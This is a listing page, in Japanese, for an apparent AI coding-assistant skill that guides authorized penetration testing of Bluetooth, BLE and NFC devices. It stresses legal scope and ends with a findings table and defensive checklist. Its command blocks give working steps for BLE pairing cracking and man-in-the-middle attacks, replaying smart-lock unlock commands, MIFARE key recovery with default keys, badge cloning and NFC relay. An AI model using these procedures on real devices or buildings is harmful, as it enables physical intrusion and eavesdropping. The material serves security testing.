mcpField
A
attacking-bluetooth-nfc

attacking-bluetooth-nfc

github.com/trilwuセキュリティ17748 回インストール12 週間前に更新
リポジトリ

attacking-bluetooth-nfc について

Bluetooth と NFC 機器を評価する、認可されたテスト担当者向けのセキュリティスキルです。機器の発見、通信分析、認証情報の複製、防御確認を扱い、無線テストの認可やプライバシー、物理的な範囲管理も重視します。

主な機能

  1. 01Bluetooth Classic と BLE 機器の発見
  2. 02GATT サービスと特性の列挙
  3. 03BLE 通信の分析やリレー
  4. 04NFC カードとアクセス制御の評価
  5. 05一般的なリスクと防御策の確認

活用シーン

  1. 01BLE 周辺機器や IoT 機器の評価
  2. 02NFC 入館カードとリーダーのテスト
  3. 03非接触決済・交通カードの評価
  4. 04Bluetooth 通信と認証情報の安全性確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill attacking-bluetooth-nfc

インストール後、Claude Code で/attacking-bluetooth-nfcを入力して読み込まれたか確認します。

詳細

Bluetooth と NFC を攻撃する

Bluetooth と NFC には、初期の Wi-Fi と共通する特性があります。これらのプロトコルは、信頼できる物理環境での利便性を重視して設計されましたが、その信頼の前提はもはや成り立ちません。BLE デバイスは、GATT 特性が「内部用」だったという理由で、機密データを平文で日常的に送信しています。また、NFC アクセスカードは何年も前に破られた暗号方式に依存しています。物理的に近くにいることは、アクセス制御にはなりません。

使用する場面

  • Bluetooth インターフェースを備えた BLE 周辺機器や IoT デバイスを評価する場合
  • NFC ベースの物理アクセス制御(バッジリーダー、ドアロック)をテストする場合
  • 非接触決済カードや交通系カードのセキュリティを評価する場合
  • Bluetooth Classic サービス(RFCOMM、OBEX、SDP)をペンテストする場合
  • デバイスとアプリ間の BLE 通信を盗聴または傍受する場合
  • NFC/RFID 認証情報を複製またはリプレイする場合

範囲と承認。 RF テストには、他のペンテストにはない法的な側面があります。電波を標的の範囲内に閉じ込めることはできないためです。

  • 傍受は通信傍受法の対象です。 BLE または Bluetooth Classic のトラフィックをキャプチャすると、周辺で送信中のものすべて(スタッフの携帯電話、医療機器、近隣テナントなど)が入り込む可能性があります。米国では Wiretap Act と ECPA に抵触するおそれがあり、ほとんどの法域にも同等の法律があります。シールドされた筐体内、またはキャプチャ対象のすべてのデバイスを把握できる管理区域内でテストし、標的以外のキャプチャデータは分析せずに破棄してください。
  • 送信には規制があります。 ジャミング、BLE への能動的なインジェクション、高出力のリレー装置は、標的デバイスの所有者が誰であるかにかかわらず、FCC Part 15(または各国の同等規制)に違反する可能性があります。
  • 複製したアクセス認証情報は物理的な鍵です。 バッジの複製は、多くの法域で偽造に近い犯罪と見なされ、契約の対象外である可能性のある場所への侵入につながります。複製する前に対象範囲に含まれるドアを確認し、作成した認証情報をすべて記録し、終了時に複製品を破棄してください。

物理サイトでの承認、RF テストの実施時間帯、デバイス一覧を書面で取得してください。また、承認書を携帯してください。RF テストは、テスト中に物理的に呼び止められる可能性が最も高い状況だからです。

使用しない場面

  • Wi-Fi 攻撃 -- attacking-wireless-networks を使用してください
  • RF インターフェースを超えるデバイスファームウェアの抽出と分析 -- analyzing-firmware-images を使用してください
  • BLE 通信レイヤーを超えるモバイルアプリのセキュリティ -- testing-mobile-applications を使用してください

Bluetooth Classic

検出と列挙
hcitool scan                              # Discoverable devices
hcitool inq                               # Extended inquiry (class, RSSI)
hcitool info AA:BB:CC:DD:EE:FF            # Name, class, features
hciconfig -a                              # Local adapters

# bluetoothctl interactive
bluetoothctl
# scan on / devices / info AA:BB:CC:DD:EE:FF
サービス検出と RFCOMM
# SDP enumeration
sdptool browse AA:BB:CC:DD:EE:FF          # All services
sdptool search SP AA:BB:CC:DD:EE:FF       # Serial Port profile
sdptool search OPUSH AA:BB:CC:DD:EE:FF    # OBEX Push

# Connect to RFCOMM channel
rfcomm connect /dev/rfcomm0 AA:BB:CC:DD:EE:FF 1
screen /dev/rfcomm0 115200                # Interact as serial device
PIN のブルートフォース攻撃
spooftooph -i hci0 -a AA:BB:CC:DD:EE:FF  # Spoof BT identity
btcrack <bd_addr_file> <pairing_capture>  # Offline PIN cracking
crackle -i capture.pcap -o decrypted.pcap # Crack BLE legacy pairing TK

BLE(Bluetooth Low Energy)

スキャンと GATT の列挙
hcitool lescan                            # Discover BLE devices
bettercap -eval "ble.recon on"            # bettercap discovery
# ble.enum AA:BB:CC:DD:EE:FF             # Enumerate services

# gatttool interactive
gatttool -b AA:BB:CC:DD:EE:FF -I
# connect / primary / characteristics / char-desc
# char-read-hnd 0x000e                   # Read by handle
# char-write-req 0x000e 0100             # Write value
# char-write-req 0x000f 0100             # Enable notifications

# bettercap GATT operations
# ble.read AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid>
# ble.write AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid> <hex>

インタラクティブに GATT を参照するには、nRF Connect(モバイル版またはデスクトップ版)が最も手早いことがよくあります。特性 UUID とプロパティが分かるスクリーンショットを撮影し、調査結果を記録してください。

Just Works ペアリング

BLE の「Just Works」では、MITM 保護が提供されません。一時鍵はゼロのため、通信範囲内にいる人は誰でも短期鍵を導出し、トラフィックを復号できます。デバイスが Just Works を使用している場合は報告してください。数値比較またはパスキー入力を使用する Secure Connections が最低限必要です。

BLE 攻撃パターン

GATTacker または BtleJuice による MITM
# GATTacker -- clone peripheral, proxy all GATT traffic
node scan.js
node advertise.js -a <target_mac>         # Fake peripheral
node central.js -a <target_mac>           # Proxy to real device

# BtleJuice (two BLE adapters required)
btlejuice -u <ws_url> -w                  # Core: connects to real device
btlejuice-proxy -i hci1                   # Proxy: advertises as clone
# Web UI on port 8080 for intercept/modify
リプレイ攻撃

多くの BLE デバイスは、コマンド(ロック解除、設定)に静的な値を使用します。特性値をキャプチャし、自分の接続からリプレイしてください。ノンス、カウンター、セッションへのバインドが存在しない場合、デバイスはその値を受け入れます。

gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0031        # Capture
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0031 -n <hex>  # Replay

スマートロック、BLE 対応金庫、IoT アクチュエーターでよく見られます。

その他の BLE の脆弱性

平文の特性。 IoT デバイスでは、認証なしで読み取り可能な GATT 特性から、Wi-Fi 認証情報、デバイストークン、設定情報が頻繁に公開されています。すべて列挙して読み取ってください。

署名のない DFU。 BLE 経由のデバイスファームウェア更新で署名検証が行われていない場合、改変したファームウェアイメージが受け入れられます。Nordic DFU Service(UUID 0xFE59)または同様の OTA サービスを探してください。

Bluetooth のスニッフィング

# Ubertooth One (Classic)
ubertooth-rx -l <LAP>                     # Follow specific connection
ubertooth-rx -r /tmp/bt.pcap             # Pipe to Wireshark
ubertooth-specan                          # Spectrum analysis

# nRF52840 dongle (BLE)
# Flash nRF Sniffer firmware, then:
wireshark -k -i /dev/ttyACM0              # Select device in toolbar

Wireshark フィルター: btle.advertising_header(アドバタイジング)、 btatt.handle == 0x000e(特定のハンドル)、btsmp(ペアリングトラフィック)。 Ubertooth Classic のキャプチャには btbb プラグインを使用します。

NFC

Proxmark3
proxmark3 /dev/ttyACM0                    # Start client

# Card identification
hf search                                 # High-frequency
lf search                                 # Low-frequency

# MIFARE Classic operations
hf mf autopwn                             # Try defaults, then nested/hardnested
hf mf dump                                # Dump entire card
hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF    # Nested attack
hf mf hardnested --blk 0 -a -k FFFFFFFFFFFF --tblk 4 --ta  # Hardnested

# Clone and emulate
hf mf restore                             # Write dump to blank card
hf mf sim --1k                            # Emulate card
hf mf csetuid --uid <8_hex>              # Set UID on magic card
MIFARE Classic(Crypto1)

Crypto1 は破られています。鍵の復元にかかる時間は数秒から数分です。

攻撃の優先順位:

  1. デフォルト鍵 -- FFFFFFFFFFFF、A0A1A2A3A4A5、D3F7D3F7D3F7。多くの 環境では、これらの鍵が変更されていません。
  2. ネステッド攻撃 -- 既知の鍵が1つあれば、すべてのセクター鍵を復元できます。
  3. ハードネステッド攻撃 -- 任意のセクターで既知の鍵が1つあれば、他の鍵を導出できます。
  4. ダークサイド攻撃 -- 一部の方式では、既知の鍵は必要ありません。

MIFARE Classic が唯一のアクセス制御用認証情報である場合、検出事項の重大度は 「クリティカル」です。

MIFARE DESFire

DESFire は AES/3DES を使用しているため、鍵を直接復元することは現実的ではありません。 デフォルトのアプリケーション鍵(すべてゼロであることがよくあります)、鍵の多様化における 弱点、バックエンドが UID 以外も検証しているかどうかに着目してください。

libnfc
nfc-list                                  # List NFC devices
nfc-mfclassic r a dump.mfd               # Read card
nfc-mfclassic w a dump.mfd               # Write card

NFC とアクセス制御

バッジのクローン作成
hf 14a reader                             # Read card UID
hf mf autopwn                             # Crack keys
hf mf dump                                # Dump contents
hf mf cload                               # Write to magic clone card

多くのアクセス制御システムは、暗号化されたセクターデータではなく、UID のみを確認します。 UID のクローン作成は簡単で、こうしたシステムを完全に無効化できます。

リレー攻撃(NFCGate)

NFC リレーは、カードとの通信をネットワークリンク経由でリアルタイムに転送します。 NFCGate を実行する2台の Android デバイスのうち、1台をリーダーの近くに置き、もう1台を 被害者のカードの近くに置きます。カードが物理的に離れた場所にあっても、リーダーには 正規の通信として認識されます。近接性を前提とした仕組みを無効化します。

NDEF レコード
hf mfu ndefread                           # Read NDEF data
# May contain: URLs, Wi-Fi credentials, BT pairing data, app data

公共の場所に設置された書き込み可能な NFC タグは、悪意のある NDEF レコード (フィッシング URL、不正な Wi-Fi 設定など)で上書きされる可能性があります。

よくある検出事項

検出事項重大度備考
固定 BLE ペアリング/Just Works高受動的な盗聴、MITM
暗号化されていない GATT 特性高ペアリングせずに読み取り可能
固定 BLE コマンドのリプレイ高ノンスやセッションとの紐付けがない
Bluetooth Classic のデフォルト PIN中0000/1234。ブルートフォースが可能
MIFARE Classic によるアクセス制御クリティカルCrypto1 は破られており、解読に数分
UID のみでのアクセス検証クリティカル簡単にクローン作成可能
署名のない BLE DFU高デバイス上で任意のコードを実行可能
認証なしで書き込み可能な NFC タグ中コンテンツの置き換えが可能
相互認証なし高任意のセントラルが接続可能
DESFire アプリのデフォルト鍵高初期導入時はすべてゼロ

防御レビューのチェックリスト

  • BLE で Secure Connections のペアリング(数値比較またはパスキー)を使用している
  • 機密性の高い GATT 特性へのアクセスに、ボンディングと暗号化を必須としている
  • BLE コマンドにセッションと紐付いたノンスまたはカウンターを含めている
  • DFU の適用前にファームウェアの署名を検証している
  • NFC カードに MIFARE Classic ではなく、DESFire 以上を使用している
  • アクセス制御で UID だけでなくセクターデータも検証している
  • カードごとに鍵を多様化している
  • 公共の NFC タグを読み取り専用にするか、認証を必須としている
  • Bluetooth Classic サービスで、データへのアクセス前に認証を必須としている
  • リレー攻撃への対策(距離制限、タイミング検証)を実施している

退けるべき合理化

  • 「デバイスにアクセスできるのは Bluetooth の通信範囲内だけです。」 範囲 拡張器、指向性アンテナ、中継攻撃により、通信距離は 10 メートルから 100 メートルまで伸びます。近接性はセキュリティ境界ではありません。

  • 「BLE 暗号化を使用しています。」 Secure Connections を使用しない場合、一時 キーはゼロであり、受動的に監視する者なら誰でも通信を復号できます。

  • 「NFC カードは暗号化されています(MIFARE Classic)。」 Crypto1 は 2008 年以降、公に解読されています。キーの復元には数分しかかかりません。

  • 「物理的なアクセスが必要なので、リスクは低いです。」 ストラップに下げた バッジや棚に置いた BLE デバイスは、ロビーを通り抜けられる人なら誰でも手が 届く範囲にあります。

  • 「バックエンドで複製カードを検出します。」 多くの導入環境では、使用 パターンの相関分析も同時使用の検出も行っていません。証拠をもって確認してください。

  • 「BLE の特性は文書化されていません。」 GATT の列挙は自動的に行われます。 すべての特性は数秒で検出できます。

  • 「BLE ファームウェアの更新には独自形式を使用しています。」 独自形式は 署名の仕組みではありません。署名チェックがなければ、更新ファイルは差し替え可能です。

参考資料

  • attacking-wireless-networks -- Wi-Fi 攻撃とワイヤレスの偵察
  • analyzing-firmware-images -- デバイスのファームウェアの抽出と分析
  • testing-mobile-applications -- BLE 層にとどまらないモバイルアプリのテスト
  • engineering-detections -- Bluetooth と NFC の不正利用に対する検出ルール

コメント